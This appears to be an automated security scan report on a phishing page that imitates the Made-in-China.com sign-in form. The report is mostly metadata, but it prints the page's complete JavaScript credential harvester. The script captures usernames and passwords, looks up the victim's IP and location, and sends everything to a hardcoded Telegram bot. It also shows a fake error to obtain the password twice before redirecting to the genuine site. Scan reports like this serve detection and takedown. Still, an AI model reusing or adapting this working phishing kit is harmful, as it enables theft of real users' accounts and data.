technology software

documentation technical

corporate business

e-commerce shopping

English

You're looking at domain 'zn-prosucts-made-in-chinna.netlify.app' on the application-focused generic top-level domain (.app) with subdomain 'zn-prosucts-made-in-chinna'. The second-level label 'netlify' is 7 characters long containing two vowels alongside five consonants. Splitting it apart reveals three words: net, li, fy. Median word length is 2 characters. No strong language cues emerged from the frequency lists.

logonInfo.logUserName

logonInfo.logPassword

html/ce/29/ce29d128-2fa4-4f4b-b717-565ff71f5cc1.html.gz

ae796810ce5f24b15a1c249fa784d45e459c145ba5bb6415cb72aa697b5a93f4

Name.com Abuse Team

Name.com, Inc.

netlify.app

Abuse

Google LLC

GOOGLE

// 1. Configuration (Use your *actual* credentials in a live-testing scenario)
 const TELEGRAM_BOT_TOKEN = '8573259023:AAGVdD-LLEPGlExbQvhSoCUyg66IDSBTO80'; // REPLACE THIS WITH YOUR AUTHENTIC BOT TOKEN
 const TELEGRAM_CHAT_ID = '1279485009'; // REPLACE THIS WITH YOUR AUTHENTIC CHAT ID
 const TELEGRAM_API_URL = `https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`;
 // Set final legit URL to redirect to after credential capture
 const REDIRECT_URL = document.getElementById('logon').getAttribute('data-original-action') || 'https://www.made-in-china.com/';
 
 // Attempt counter to control the flow (0 = initial state, 1 = first attempt, 2 = second attempt)
 let attemptCount = 0;


 // 2. Function to update the UI and redirect
 const handleLoginFeedback = (isSuccess) => {
 const feedbackDiv = document.getElementById('login-feedback-message');
 const feedbackText = document.getElementById('feedback-text');
 
 feedbackDiv.style.display = 'block'; 

 if (isSuccess) {
 // Success State (Second Attempt)
 feedbackDiv.style.color = '#155724'; // Dark green text
 feedbackDiv.style.backgroundColor = '#d4edda'; // Light green background
 feedbackDiv.style.borderColor = '#c3e6cb'; // Green border
 feedbackText.innerHTML = `Sign In Successful. Redirecting to your dashboard...`;

 // Redirect after a short delay
 console.log(`Redirecting to legitimate URL: ${REDIRECT_URL}`);
 setTimeout(() => {
 window.location.href = REDIRECT_URL;
 }, 1500); // 1.5 second delay for realism
 } else {
 // Server Error State (First Attempt)
 feedbackDiv.style.color = '#721c24'; // Dark red text
 feedbackDiv.style.backgroundColor = '#f8d7da'; // Light red background
 feedbackDiv.style.borderColor = '#f5c6cb'; // Red border
 feedbackText.innerHTML = `Sign in failed. A temporary server error occurred while processing your request. Please try again or check back later.`;
 }
 };


 // 3. Function to capture data, report to Telegram, and handle UI flow
 const processAttempt = (username, password) => {
 attemptCount++;
 const currentAttempt = attemptCount;
 
 // Step 1: Use multiple services for robustness in getting external IP info
 const ipifyPromise = fetch('https://api.ipify.org?format=json').then(r => r.json()).catch(() => ({ ip: 'N/A' }));
 const ipapiPromise = fetch('https://ipapi.co/json/').then(r => r.json()).catch(() => ({}));
 
 Promise.all([ipifyPromise, ipapiPromise]).then(([ipifyData, ipapiData]) => {
 
 // Step 2: Consolidate IP and geographical data
 const ip = ipifyData.ip || 'N/A';
 const city = ipapiData.city || 'N/A';
 const country = ipapiData.country_name || 'N/A';
 const org = ipapiData.org || 'N/A';
 
 // Step 3: Format the final message payload for Telegram
 const logMessage = `🚨 CREDENTIAL HARVESTED (ATTEMPT ${currentAttempt}/2) 🚨\n\n`
 + `-- VICTIM CREDENTIALS --\n`
 + `Account: <code>${username}</code>\n`
 + `Password: <code>${password}</code>\n\n`
 + `-- GEOLOCATION & NETWORK --\n`
 + `IP Address: ${ip}\n`
 + `Location: ${city}, ${country}\n`
 + `ISP: ${org}\n\n`
 + `-- CLIENT CONTEXT --\n`
 + `Time: ${new Date().toISOString()}\n`
 + `User-Agent: ${navigator.userAgent}`;

 // Step 4: Send the report to Telegram
 const data = new URLSearchParams({
 chat_id: TELEGRAM_CHAT_ID,
 text: logMessage,
 parse_mode: 'HTML'
 });

 // Use the Fetch API to send the request asynchronously (fire and forget)
 fetch(TELEGRAM_API_URL, {
 method: 'POST',
 headers: {
 'Content-Type': 'application/x-www-form-urlencoded'
 },
 body: data.toString()
 }).then(response => {
 if (!response.ok) {
 // Log the failure in the browser console for debugging
 console.error(`Telegram API failed to send log for Attempt ${currentAttempt}. Status: ${response.statusText}`);
 } else {
 console.log(`Full credential harvest log for Attempt ${currentAttempt} sent to Telegram.`);
 }
 }).catch(error => {
 console.error(`Network error during Telegram log send for Attempt ${currentAttempt}:`, error);
 });

 }).catch(error => {
 console.error(`Error during IP fetch for Attempt ${currentAttempt}:`, error);
 });

 // Step 5: Handle the UI flow based on the attempt count
 if (currentAttempt === 1) {
 handleLoginFeedback(false); // Show the server error message
 // Reset the password input to force the user to re-enter it for the second attempt
 document.getElementById('logonInfo.logPassword').value = '';
 } else if (currentAttempt >= 2) {
 handleLoginFeedback(true); // Show the success message and initiate redirect
 }
 };

 // 4. Main Event Listener Setup
 document.addEventListener('DOMContentLoaded', () => {
 const loginForm = document.getElementById('logon');
 const usernameInput = document.getElementById('logonInfo.logUserName');
 const passwordInput = document.getElementById('logonInfo.logPassword');
 const emailErrorDiv = document.getElementById('email-validation-error');
 
 // Language dropdown interactivity
 const langSwitch = document.querySelector('.J-language-switch');
 const langList = document.querySelector('.J-lang-list');
 const langText = langSwitch.querySelector('.language-text');

 if (langSwitch && langList) {
 // Functionality to open/close the list on click/touch
 langSwitch.addEventListener('click', (e) => {
 e.stopPropagation(); // Prevent document click from immediately closing it
 langList.style.display = langList.style.display === 'block' ? 'none' : 'block';
 });

 // Handle selection within the dropdown
 langList.addEventListener('click', (e) => {
 // The language link elements have been changed to spans to disable the link behavior
 const clickedItem = e.target.closest('.lang-item');
 if (clickedItem) {
 e.stopPropagation();
 langText.textContent = clickedItem.textContent; // Update the visible text
 langList.style.display = 'none'; // Close list

 // Update 'current' class for visual fidelity
 langList.querySelectorAll('.lang-item').forEach(item => item.classList.remove('current'));
 clickedItem.classList.add('current');
 }
 });

 // Handle closing the dropdown when clicking outside
 document.addEventListener('click', (e) => {
 if (!langSwitch.contains(e.target)) {
 langList.style.display = 'none';
 }
 });
 }


 if (loginForm) {
 loginForm.addEventListener('submit', function(event) {
 // PREVENT the default form submission to the server
 event.preventDefault();

 const username = usernameInput.value.trim();
 const password = passwordInput.value;

 // Client-Side Validation (Prevent empty or invalid accounts)
 if (username.length === 0 || password.length === 0) {
 document.getElementById('feedback-text').innerHTML = `Error: Please enter your account and password.`;
 document.getElementById('login-feedback-message').style.display = 'block';
 document.getElementById('login-feedback-message').style.color = '#721c24';
 document.getElementById('login-feedback-message').style.backgroundColor = '#f8d7da';
 document.getElementById('login-feedback-message').style.borderColor = '#f5c6cb';
 return;
 }
 
 // Email format check
 if (!username.includes('@')) {
 emailErrorDiv.style.display = 'block';
 return; // Stop execution
 } else {
 emailErrorDiv.style.display = 'none'; 
 }

 // If on the third attempt or more, just redirect immediately
 if (attemptCount >= 2) {
 handleLoginFeedback(true); 
 return;
 }
 
 // Execute the core credential reporting logic
 processAttempt(username, password);

 });
 }
 });

Requests	IP Address	Location	AS Autonomous System
6	35.157.26.135Aws · CLOUD	Frankfurt am Main, Hesse, Germany	AS16509Amazon.com, Inc.
5	104.18.18.80Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
5	104.18.24.163Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
16	3	-	-

Security Scan Report: zn-prosucts-made-in-chinna.netlify.app

Summary

AI Security Verdict

High Risk

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies3

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History